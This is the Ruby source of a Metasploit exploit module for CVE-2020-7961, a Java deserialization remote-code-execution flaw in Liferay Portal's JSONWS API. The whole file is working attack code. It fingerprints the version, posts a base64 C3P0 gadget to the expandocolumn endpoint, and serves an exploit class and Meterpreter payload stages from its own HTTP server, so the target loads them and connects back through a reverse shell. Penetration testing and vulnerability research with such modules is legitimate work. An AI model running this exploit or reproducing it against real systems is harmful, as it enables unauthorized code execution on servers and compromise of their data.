William Vu
256 lines
7.9 KiB
Ruby
256 lines
7.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Liferay Portal Java Unmarshalling via JSONWS RCE',
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'Description' => %q{
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This module exploits a Java unmarshalling vulnerability via JSONWS in
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Liferay Portal < 6.2 GA6, 7.0 GA7, 7.1 GA4, and 7.2 GA2 to execute code
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as the Liferay user.
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},
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'Author' => [
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'Code White', # Discovery
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'Thomas Etrillard', # PoC
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'wvu' # Module
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],
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'References' => [
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['CVE', '2020-7961'],
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['URL', 'https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html'],
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['URL', 'https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html']
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],
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'DisclosureDate' => '2019-11-25', # Vendor advisory
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'License' => MSF_LICENSE,
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'Platform' => 'java',
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'Arch' => ARCH_JAVA,
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'Privileged' => false,
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'Targets' => [
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['Liferay Portal < 6.2 GA6, 7.0 GA7, 7.1 GA4, 7.2 GA2', {}]
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],
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'DefaultTarget' => 0,
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'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_tcp'},
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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},
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'Stance' => Stance::Aggressive
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))
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register_options([
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Opt::RPORT(8080),
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OptString.new('TARGETURI', [true, 'Base path', '/'])
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])
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deregister_options('URIPATH')
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end
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def check
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path)
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)
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unless res
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return CheckCode::Unknown('Target did not respond to check request.')
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end
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unless res.code == 200 && res.headers['Liferay-Portal']
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return CheckCode::Unknown(
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'Target did not respond with Liferay-Portal header.'
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)
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end
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=begin https://github.com/liferay/liferay-portal/blob/master/portal-kernel/src/com/liferay/portal/kernel/util/ReleaseInfo.java
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https://github.com/liferay/liferay-portal/blob/master/release.properties
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HTTP/1.1 200
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[snip]
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Liferay-Portal: Liferay Community Edition Portal 7.2.0 CE GA1 (Mueller / Build 7200 / June 4, 2019)
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[snip]
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=end
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version, build =
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res.headers['Liferay-Portal'].scan(
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/^Liferay Community Edition Portal ([\d.]+ CE GA\d+).*Build (\d+)/
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).flatten
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unless version && build
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return CheckCode::Unknown(
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'Target did not respond with Liferay version and build.'
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)
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end
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# TODO: Check each supported build range
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if Gem::Version.new(build) < Gem::Version.new('7201')
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return CheckCode::Appears(
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"Liferay #{version} MAY be a vulnerable version. Please verify."
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)
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end
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CheckCode::Safe("Liferay #{version} is NOT a vulnerable version.")
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end
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def exploit
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# NOTE: Automatic check is implemented by the AutoCheck mixin
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super
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# Start our HTTP server to provide remote classloading
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ssl = datastore['SSL']
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datastore['SSL'] = false
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start_service('Path' => '/')
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datastore['SSL'] = ssl
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print_status('Sending go-go-gadget for remote classloading')
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send_request_gadget(normalize_uri(
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target_uri.path,
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'/api/jsonws/expandocolumn/update-column'
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))
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end
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def send_request_gadget(uri)
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# https://github.com/liferay/liferay-portal/blob/master/portal-impl/src/com/liferay/portlet/expando/service/impl/ExpandoColumnServiceImpl.java
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vars_post = {
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'columnId' => rand(8..42),
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'name' => rand(8..42),
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'type' => rand(8..42)
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}
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vars_post['+defaultData'] =
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'com.mchange.v2.c3p0.WrapperConnectionPoolDataSource'
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vars_post['defaultData.userOverridesAsString'] =
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"HexAsciiSerializedMap:#{go_go_gadget.unpack1('H*')};"
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send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'vars_post' => vars_post
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}, 0)
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end
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def on_request_uri(cli, request)
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vprint_status("#{request.method} #{request.uri} requested")
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unless %w[HEAD GET].include?(request.method)
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vprint_error("Ignoring #{request.method} request")
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return
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end
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if request.method == 'HEAD'
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whitelist = %W[
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/#{class_name}.class
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/metasploit/Payload.class
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/metasploit.dat
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]
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unless whitelist.include?(request.uri)
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vprint_error('Sending 404')
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return send_not_found(cli)
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end
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vprint_good('Sending 200')
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return send_response(cli, '')
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end
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case request.uri
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# Stage 1
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when "/#{class_name}.class"
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vprint_good('Sending exploit class')
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res = exploit_class
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# Stage 2
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when '/metasploit/Payload.class'
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vprint_good('Sending payload class')
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res = MetasploitPayloads.read('java/metasploit/Payload.class')
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# Stage 3
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when '/metasploit.dat'
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vprint_good('Sending payload config')
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res = payload_instance.stager_config
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else
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vprint_error('Sending bogus file')
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return send_response(cli, "#{Faker::Hacker.say_something_smart}\n")
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end
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send_response(
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cli,
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res,
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# file -I says application/x-java-applet, but I don't believe it
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'Content-Type' => 'application/octet-stream'
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)
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end
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# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a
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def go_go_gadget
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# https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/gadgets/C3P0WrapperConnPool.java
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gadget = Rex::Text.decode_base64(
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<<~EOF
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rO0ABXNyAD1jb20ubWNoYW5nZS52Mi5uYW1pbmcuUmVmZXJlbmNlSW5kaXJlY3RvciRSZWZl
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cmVuY2VTZXJpYWxpemVkYhmF0NEqwhMCAARMAAtjb250ZXh0TmFtZXQAE0xqYXZheC9uYW1p
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bmcvTmFtZTtMAANlbnZ0ABVMamF2YS91dGlsL0hhc2h0YWJsZTtMAARuYW1lcQB+AAFMAAly
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ZWZlcmVuY2V0ABhMamF2YXgvbmFtaW5nL1JlZmVyZW5jZTt4cHBwcHNyABZqYXZheC5uYW1p
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bmcuUmVmZXJlbmNl6MaeoqjpjQkCAARMAAVhZGRyc3QAEkxqYXZhL3V0aWwvVmVjdG9yO0wA
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DGNsYXNzRmFjdG9yeXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAFGNsYXNzRmFjdG9yeUxvY2F0
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aW9ucQB+AAdMAAljbGFzc05hbWVxAH4AB3hwc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuv
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AQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0
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ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFuZy5PYmplY3Q7
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kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHQAAEhBQ0t0AABUSEV0AABQTEFORVQ=
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EOF
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)
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# Replace length-prefixed placeholder strings with our own
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gadget.sub!(/.HACK/, packed_class_name)
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gadget.sub!(/.THE/, packed_get_uri)
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gadget.sub(/.PLANET/, packed_class_name)
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end
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=begin javac Exploit.java
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import metasploit.Payload;
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public class Exploit {
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public Exploit(){
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try {
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Payload.main(null);
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} catch (Exception e) { }
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}
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}
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=end
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def exploit_class
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klass = Rex::Text.decode_base64(
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<<~EOF
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yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAN
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U3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9u
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AQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARt
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YWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3
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AAEAAgAAAA0qtwABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwAL
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AAAA
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EOF
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)
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# Replace length-prefixed string "Exploit" with a random one
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klass.sub(/.Exploit/, packed_class_name)
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end
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def class_name
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@class_name ||= rand_text_alpha(8..42).capitalize
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end
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def packed_class_name
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"#{[class_name.length].pack('C')}#{class_name}"
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end
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def packed_get_uri
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"#{[get_uri.length].pack('C')}#{get_uri}"
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end
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end
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